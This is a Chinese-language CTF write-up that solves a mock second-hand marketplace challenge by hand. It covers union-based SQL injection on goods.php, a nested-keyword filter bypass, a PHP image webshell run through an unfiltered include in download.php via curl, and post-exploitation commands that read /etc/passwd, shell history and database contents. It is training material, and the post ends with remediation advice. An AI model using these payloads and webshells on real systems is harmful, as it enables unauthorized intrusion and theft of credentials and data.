☰
从SQL注入到文件包含:CTF二手交易市场手工渗透实战解析
2026/10/20 16:10:00 网站建设 项目流程

1. 项目概述与核心思路

拿到“Bugku-xxx二手交易市场-ctf练习(不用菜刀蚁剑)”这个标题的时候,我第一反应是:这道题对新手来说,既是一道很友好的入门级Web综合题,又是一道很考验耐心的题。为什么这么说?因为它把电商交易的几个典型场景都塞进了一个模拟站点里,你不需要去猜什么偏门漏洞,反而要在一些很常规的功能点上下功夫,比如搜索框、商品详情、个人中心甚至后台入口。这种设计思路其实很贴近真实渗透测试的节奏,因为现实中很多业务站点并没有那么多花里胡哨的漏洞,真正的突破口往往就藏在这些不起眼的交互功能里。

标题里特别强调“不用菜刀蚁剑”,这一点值得聊一下。菜刀、蚁剑这类工具本质上是WebShell连接管理工具,当你已经拿到一个可以执行命令的入口之后,用它们来管理服务器确实方便。但CTF练习的核心目标是让你理解漏洞成因和利用链,而不是考验你工具熟练度。很多初学者在拿到一个webshell之后,会习惯性地打开蚁剑去连一下,反而忽略了最关键的环节:这个shell是怎么来的、命令执行能力是哪里来的。一旦脱离工具,很多人会发现自己对HTTP请求的理解其实是碎片化的。

所以这篇文章我打算用一个完整的实操视角来拆解这道题。我会从信息收集、漏洞发现、手工构造请求、再到利用链打通,一步步带你把整个流程走下来。整个过程不依赖任何图形化的WebShell管理工具,而是通过浏览器开发者工具、命令行终端、简单的Python脚本和手工构造的HTTP报文来完成。这样做的最大好处是,你可以在每一步都清楚地看到——数据是怎么流的、参数是怎么传的、服务端是怎么解析的。

这道题适合什么人群呢?如果你正在学Web安全,已经会一点SQL注入和PHP代码审计的基础,但还没有完整地独立打通一个综合靶场,那这道题是非常好的练手对象。如果你是CTF新手,想体验一把“一个人搞定一个站点”的成就感,这道题同样能让你收获很多细节上的认知。当然,如果你是个老手,也可以试着猜一猜出题人在哪些地方埋了坑——说实话,这道题有些陷阱设计得还挺鸡贼的。

2. 信息收集与资产梳理

2.1 入口页面与功能点盘点

做题的第一步永远不是直接上去乱试注入,而是先捋清楚这个二手交易市场到底提供了哪些功能页面、每个页面对应了哪些后端逻辑。这种方式用行业黑话讲就是“梳理攻击面”。我通常的习惯是:先把首页、登录页、注册页、商品列表页、商品详情页、个人中心、后台登录入口全部访问一遍,记录下来每个URL对应的功能。

这道模拟站点整体布局是一个典型的电商网站结构:顶部有搜索框,中间是商品推荐列表,右侧有用户登录注册入口,底部是备案信息和后台管理入口链接。商品列表页支持分页,商品详情页可以出价或者留言。用户注册后会进入个人中心,里面有我发布的商品、我收到的留言、修改个人资料等功能模块。

我打开开发者工具,把所有的请求都过了一遍,重点关注几个地方:URL参数、POST请求体、Cookie字段和响应头信息。很快发现,商品列表页的URL里有一个page参数,而且是通过GET方法传递的,形如:

GET /index.php?page=2 HTTP/1.1

商品详情页的URL是:

GET /goods.php?id=15 HTTP/1.1

这种带数字参数的URL值得高度关注,因为它极大概率存在注入点。搜索框的请求也很有意思,它并不是POST到服务器,而是通过GET方式把keyword参数拼接在URL里,比如:

GET /search.php?keyword=iphone HTTP/1.1

2.2 后台入口与robots.txt的意外发现

访问一下robots.txt是信息收集阶段的常规操作,很多时候不会有什么发现,但偶尔会有惊喜。这个站点的robots.txt确实埋了点东西:

User-agent: * Disallow: /admin Disallow: /backup

看到/backup这个路径,我第一反应是可能有源码备份或数据库备份文件。但直接访问/backup返回的是403 Forbidden,说明目录存在但禁止直接列目录,这反而更让人好奇里面到底放了什么。

再尝试常见的备份文件名:backup.zip、backup.sql、web.zip,最终在/backup/site_backup.zip路径下成功下载到了一个压缩包。解压之后,整个站点的源码就全部暴露了。这一步在CTF里其实算一个比较友好的提示,因为这相当于出题人主动把源码送给你看,省去了一大半黑盒猜谜的时间。

2.3 源码审阅的起点:全局入口与配置文件

拿到源码后,我先看目录结构,重点关注几个文件:入口文件、配置文件、公共函数文件、数据库连接文件。这个站点的入口是index.php,所有的请求都会通过它来分发到对应的功能模块。

数据库配置文件里面写了数据库地址、账号、密码、数据库名,但密码是加密存储的。虽然没有拿到数据库明文密码,但知道了数据库结构,这对后面构造payload有非常大的帮助。公共函数文件里封装了数据库查询函数、安全过滤函数、用户会话校验函数,我接下来说的关键点全在这些函数里。

这里插一句:看源码的时候不要从头到尾傻看,先梳理核心调用关系,再针对每个功能模块去反追踪参数是否经过了过滤函数。这个思路比一行行读代码效率高很多,也更容易发现逻辑漏洞。

3. 漏洞挖掘与利用链分析

3.1 数据库查询层的过滤规则观察

拿到源码之后,我直接去翻数据库查询相关的函数。这是一个典型的面向过程风格的PHP站点,数据库层封装了若干个函数,比如执行普通查询的query()、执行单行查询的fetch_one()、执行多行查询的fetch_all()等等。

重点在于SQL语句的拼接方式。让我印象很深的是,其中有个模块在拼接SQL时直接用了双引号包变量,而且只针对部分特殊字符做了替换,替换逻辑长这样:

$keyword = str_replace(array('select', 'union', 'order', 'and', 'or'), '', strtolower($keyword));

这里有个非常经典的绕过手法:它只替换了一次,而且是大小写不敏感的替换。也就是说,如果传入的关键字是SELSELECTECT这种嵌套写法,经过一次替换后会变成SELECT,而原本的过滤条件就被绕过了。这种“单次替换+可嵌套”的缺陷在真实代码里出镜率很高。

更令人意外的是,还有另外一处查询接口,完全没有经过任何过滤就直接拼接了数值类型的参数,只在代码里写了个判断:如果不是数字就弹窗报错。这个判断看起来像是做了防护,但实际上PHP的弱类型比较在这里会出问题。如果传入的是1 and 1=1这种以数字开头、后面跟其他内容的字符串,is_numeric()检查根本管不住它。这就相当于给SQL注入开了绿灯。

3.2 注入点确认与手工验证

既然源码已经告诉我哪里可能是注入点,那我就不客气了。先拿商品详情页的id参数试一下。正常请求:

GET /goods.php?id=15 HTTP/1.1

页面正常返回了商品信息。改成:

GET /goods.php?id=15' HTTP/1.1

页面报错,而且错误信息直接回显在了页面上,数据库类型的报错信息暴露无遗。再构造一个合法但带逻辑的请求:

GET /goods.php?id=15 and 1=1 HTTP/1.1

返回正常。换成:

GET /goods.php?id=15 and 1=2 HTTP/1.1

页面返回空内容。到这一步,基本可以断定为数字型注入,而且回显正常,可以直接走联合查询注入。

这里我特别说明一下为什么手工测试比直接用sqlmap更有价值。当你手工构造and 1=1和and 1=2去对比响应差异的时候,你是在真实地感受服务端对输入的处理方式。这种经验积累多了以后,再看那些WAF绕过技巧、字符集陷阱之类的东西,你会理解得更透彻。

3.3 联合查询注入:字段数量与回显位置

数字型注入直接上联合查询,第一步是猜字段数量。用:

GET /goods.php?id=15 order by 3 HTTP/1.1

页面正常。改成:

GET /goods.php?id=15 order by 4 HTTP/1.1

页面报错,说明当前查询只有3个字段。

下一步确认回显位置。构造:

GET /goods.php?id=15 and 1=2 union select 1,2,3 HTTP/1.1

页面上出现了数字2和3。说明第2和第3个字段会直接回显在页面上。这个信息太关键了,因为接下来所有数据都从这两个位置往外带。

我继续爆数据库名:

GET /goods.php?id=15 and 1=2 union select 1,database(),3 HTTP/1.1

得到数据库名称是shop。再爆数据表:

GET /goods.php?id=15 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() HTTP/1.1

表名一览无余,里面有几个关键表:users、goods、orders、admin。admin表显然最吸引人,直接看一下它的字段结构:

GET /goods.php?id=15 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' HTTP/1.1

结果里就有username和password。直接把数据拖出来:

GET /goods.php?id=15 and 1=2 union select 1,group_concat(username,0x3a,password),3 from admin HTTP/1.1

拿到了后台管理员的用户名和密码哈希。密码哈希是MD5格式的,我用在线平台解出来之后发现是明文密码的一部分,对照着源码里的加密逻辑,确认了完整的登录凭证。到这里,后台登录可以说已经是囊中之物。

3.4 搜索框的二次注入利用

商品详情页的注入解决了后台入口的问题,但搜索框这边还有一个独立的风险点。它出现在搜索逻辑里,是把用户输入的关键字直接拼接到LIKE查询中,过滤函数先转小写再替换危险词,但存在嵌套绕过的空间。

默认情况下的拼接语句长这样:

$sql = "select * from goods where name like '%$keyword%'";

如果我搜索的关键字是:

%' and 1=1 union select 1,2,3 from admin -- '

经过一次替换后,里面的union会被删掉,但注意:union这个单词被删掉之后,前后的字符会拼在一起。如果我写入的是ununionion,删除中间的union之后,剩下的恰好就是union。所以最终的SQL语句里就会存在一个合法的union关键字。

这个手法叫“关键字嵌套绕过”,在CTF题目里出现频率很高,但我必须提醒一句:实际真实站点很少会有这种简单的过滤逻辑,因为现代开发框架普遍使用预处理语句,这个坑主要还是练习用。

4. 文件上传与WebShell获取

4.1 后台文件上传功能剖析

用之前搞到的管理员账号登录后台之后,我看到了一个商品图片上传功能。这个功能往往是最容易出问题的地方,因为文件上传涉及服务器端对文件类型、文件内容、文件存储路径的解析逻辑,任何一个环节没处理好,都会被利用。

上传表单长这样:

<form action="upload.php" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="upload"> </form>

返回的是上传后的文件路径。源码里对上传文件做了后缀名白名单校验:只允许jpg、png、gif这三种格式。看起来没问题,但出题人在这里藏了一个非常经典的逻辑漏洞——它只校验了文件名后缀,完全没有校验文件内容。更关键的是,保存文件的时候,新文件名是直接用当前时间戳拼上原始后缀生成的。这意味着我可以传一个内容为PHP代码的文件,后缀命名为.jpg,然后想办法让服务器以PHP脚本的方式去解析它。

4.2 绕过前方校验的两种思路

既然后缀被限制为图片格式,我的第一个思路是找解析漏洞。如果上传目录里存在一个.htaccess文件,而这个.htaccess内容由我们控制,那就可以让.jpg文件被当作PHP解析。但这道题的服务器配置并不允许上传.htaccess文件,因为上传文件的后缀是直接拼接时间戳,根本轮不到你控制文件名。这条路走不通。

第二个思路是找文件包含点。如果网站存在一个文件包含漏洞,那我上传的图片马(内容为PHP代码的图片文件)就可以通过包含来执行。源码里确实有一个下载附件的功能,它接收一个文件名参数,然后从服务器上读取文件并输出。这看起来不像是包含,但如果它在输出前用include关键字引入文件内容,那本质上就构成了文件包含。我仔细读了一下代码,发现这个模块竟然真的直接用include引入用户可控的文件名,而且没有任何过滤。

这个发现意味着我不需要费尽心思去绕过图片后缀校验,直接上传一个内容为<?php @eval($_POST['cmd']); ?>的jpg图片,然后再通过文件包含点去include这个图片文件,PHP代码就会被解析执行。看到这里,我脑子里冒出来的念头是:这道题出得确实有点意思,它的每一步漏洞单看都很常规,但组合起来却形成了一条非常漂亮的利用链。

4.3 不依赖WebShell管理工具的连接方式

整个过程中,我自始至终没有打开蚁剑或者菜刀。那怎么去验证上传的代码有没有执行成功呢?我的做法是构造一个简单的数据包,用POST请求向包含点发送参数。

首先上传一个图片马,文件名是shell.jpg,内容:

<?php echo "upload ok"; ?>

然后访问包含点:

GET /download.php?file=./upload/shell.jpg HTTP/1.1

页面输出了一行字:upload ok。这说明代码执行成功。

接下来升级一下,让图片马接受一个POST参数:

<?php $cmd=$_POST['cmd']; echo shell_exec($cmd); ?>

再用curl工具发送POST请求:

curl -d "cmd=whoami" http://127.0.0.1/download.php?file=./upload/shell.jpg

服务器返回了当前的系统用户。到这一步,命令执行能力已经完全掌握了。没有蚁剑,没有菜刀,就凭一个curl命令、一个开发者工具,整个链路完全手工打通。

用这种方式,每一步操作都能看到原始HTTP请求和响应,没有工具帮你封装和隐藏细节。对于练习者来说,这才是最扎实的训练方式。我的建议是:CTF练习阶段,尤其是在打这类模拟题的时候,前端到后端的所有交互都应该通过肉眼可见的方式去验证和理解,而不是把所有操作交给工具去黑盒处理。

5. 命令执行与内网信息收集

5.1 从命令执行到目录遍历

拿到命令执行之后,第一步不是盲目去读flag,而是先看清自己站在哪里。通过pwd命令,我确认了当前工作目录就是网站根目录。再用ls -la列出网站目录下的所有文件,这时候可以看到之前源码里看到的那些PHP文件都在。

按CTF的常见套路,flag文件一般会放在比较隐蔽的位置:可能是根目录下的flag.txt,可能是数据库里的某个表,也可能是在环境变量里。我在当前目录下没看到flag文件,于是用find / -name "*flag*" 2>/dev/null命令去搜一下整个文件系统。

搜索花了一点时间,最终在/tmp/flag.txt路径下找到了flag文件。直接cat /tmp/flag.txt就出来了。整个解题过程到这里就可以画上句号了。

5.2 常规的内网探测清单

继续深挖一下,这里分享一下拿到命令执行权限之后,我一般会按什么顺序去做内网信息收集。这不是必须的步骤,但对理解真实攻击链很有帮助。

第一,查看当前系统用户和权限:

id; whoami; cat /etc/passwd

第二,查看网络连接和对外开放的端口:

netstat -anltp; cat /etc/hosts

第三,查看历史命令记录:

cat ~/.bash_history /root/.bash_history

第四,查看是否有其他备份文件或数据库账密:

find / -name "*.bak" -o -name "*.sql" -o -name "*.zip" 2>/dev/null

这些都是非常基础的操作。如果是在真实授权测试场景,这些信息往往会成为后续横向移动的起点。而在CTF里,它们的作用更多是帮助你理解一台服务器被入侵后的真实面貌——哪些文件被遗留了、哪些配置藏着敏感信息、哪些服务暴露出不该暴露的接口。

5.3 数据库信息的进一步利用

之前从源码里已经拿到了数据库的连接信息,但密码是被加密的。有了命令执行权限之后,我读取了网站的配置文件,发现数据库密码就以明文形式存储在配置文件里。这种情况在CTF模拟站点里很常见,因为它想贴近真实环境的开发习惯,而在真实世界里,大量中小型站点的确把数据库密码直接写在配置文件里上线的。

我尝试通过命令行连接数据库:

mysql -u root -p<password> -e "show databases;"

成功连接上了。然后:

mysql -u root -p<password> -e "select * from shop.admin;"

这里面的内容和之前SQL注入拖出来的数据是一致的,算是验证了整个利用链的正确性。

这里我多说一句:很多初学者在做题的时候,拿到flag就觉得自己通关了,从来不去复盘整个攻击链中哪些步骤是冗余的、哪些判断是错误的。这种习惯一定要改。每一次练习都应该像真实项目一样去复盘,记录哪些操作没用、哪些地方卡住了、为什么卡住了。这比多刷五道题都管用。

6. 常见问题与排查经验实录

6.1 遇到注入点却无回显

做注入题的时候,最烦的情况就是payload发过去,服务端没有任何反应。我在做这道题的时候也试过几次,最开始商品详情的id参数如果没有加注释符,后面的内容就会导致SQL语法报错,但因为没有在页面里看到SQL错误信息,我还一度以为这个点不存在注入。后来在源码里看到,错误信息是需要开启调试模式才会输出的,这提醒了我一个关键经验:源码审计的作用不仅在于找漏洞,更在于帮你确认漏洞的触发条件。

如果你在实弹演练中遇到类似情况,先用经典的单引号和布尔条件去对比响应差异,这是最朴素的判断方法。别一上来就上sqlmap,有时候工具反而会掩盖问题。如果工具跑不出来,你都不知道是参数问题还是注入类型问题,而手工判断你就知道问题出在哪。

6.2 文件内容被强制下载而非执行

我之前提到过包含点的问题。如果下载模块用的是file_get_contents()加header('Content-Type: application/octet-stream')这种写法,那它只能实现下载,不能实现代码执行。这取决于它到底是怎么实现文件输出的。我在源码里发现它是一个include调用,才确定文件包含可行。如果你在做其他题目时遇到了强制下载的情况,那就需要再找找其他文件包含点,或者考虑上传其他格式的WebShell来打解析漏洞。

6.3 图片马上传成功但访问404

有时候图片马确实上传了,返回的路径也对,但当你去访问这个路径时,服务器报了404。这种情况大概率是存储路径拼接的问题:上传目录可能是相对于项目子目录的,而不是相对于网站根目录的。我在这个站点里也遇到过类似的情况,返回的上传路径是./upload/xxx.jpg,但实际文件被保存到了/var/www/html/upload/xxx.jpg,而我的包含点拼的是/download.php?file=./upload/xxx.jpg,这种相对路径在URL里解析时基于的基准路径不同,就会导致找不到文件。

解决办法是:不要依赖返回的相对路径,直接通过命令执行权限找到文件的实际绝对路径,然后用绝对路径去包含。这一点在做任何文件包含题的时候都是通用的经验。

6.4 手工构造请求时的URL编码问题

很多人手工发POST请求时会忽略URL编码问题。尤其是POST的参数里如果包含中文、空格、特殊符号比如单引号和括号,都需要进行URL编码,否则服务端解析会出问题。我用curl测试的时候也遇到过这种情况:直接发送cmd=system('cat /tmp/flag.txt');这样的参数字符串,因为包含了单引号和分号,服务端有时会无法正确解析。解决的办法就是先把载荷做一次URL编码:

curl -d "cmd=system('cat%20/tmp/flag.txt');" http://127.0.0.1/download.php?file=./upload/shell.jpg

7. 实操心得与进阶思考

这道题打完之后,说实话我对它的评价还挺高的。它没有堆砌特别复杂的漏洞,但每一步都做得很扎实:SQL注入是数字型联合查询,搜索框是关键字嵌套绕过,文件上传是白名单后缀限制,配合的文件包含点又是直接include用户可控文件名。每一条利用链单独拿出来都是入门级的考点,但组合起来就需要你有全局思维,能够把一个个孤立的漏洞串联成一个完整的攻击链。

我在实际做这道题的过程中,最大的体会是:“不用菜刀蚁剑”这个要求真不是故意为难人。当你亲手通过curl把命令发过去,亲眼看到服务器返回执行结果的时候,你才真正理解了WebShell的本质——它不是一个神秘的图形化工具,本质上就是一段接受指令并执行指令的脚本。工具的便利性反而让很多人忽略了这一点,导致一换环境就不会用了。

如果你想在这个基础上继续进阶,我建议你做三个方向的事情:

第一,重新用脚本语言实现这条攻击链。我后来用Python写了一个小脚本,自动完成注入、登录、上传、包含、执行命令的全流程。这个过程会让你更深刻地理解每一步的HTTP交互细节,尤其是会话保持和参数传递的部分。

第二,尝试修复这个站点的所有漏洞。动手把过滤函数补齐、把SQL语句改成预处理方式、把文件包含点改成文件路径白名单校验、把上传校验改成内容检查加随机文件名。你修复完再回头去看攻击链,会发现自己对漏洞成因的理解上升了一个层次。

第三,熟悉各类数据库的注入语法差异。这道题用的是MySQL,但你完全可以自己在本地搭建一个PostgreSQL或SQLite的模拟环境,把同样的注入手法迁移过去试试。很多人在MySQL里玩得很溜,一换数据库就懵,原因就是只记了语句,没有理解数据库本身的工作机制。

最后再分享一个小技巧:做题过程中,把每一次成功的payload按“漏洞类型+参数位置+触发条件”记录在本地笔记里,形成自己的payload字典。这个东西在CTF赛场上极其好用,因为很多经典payload是相通的,你记录得越细,赛场上临场构造的速度就越快。我在实战中发现,那些真正高水平的选手,未必比普通人知道更多攻击方式,但他们一定更清楚什么条件下用哪种方式打最稳。这就是复盘的力量。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询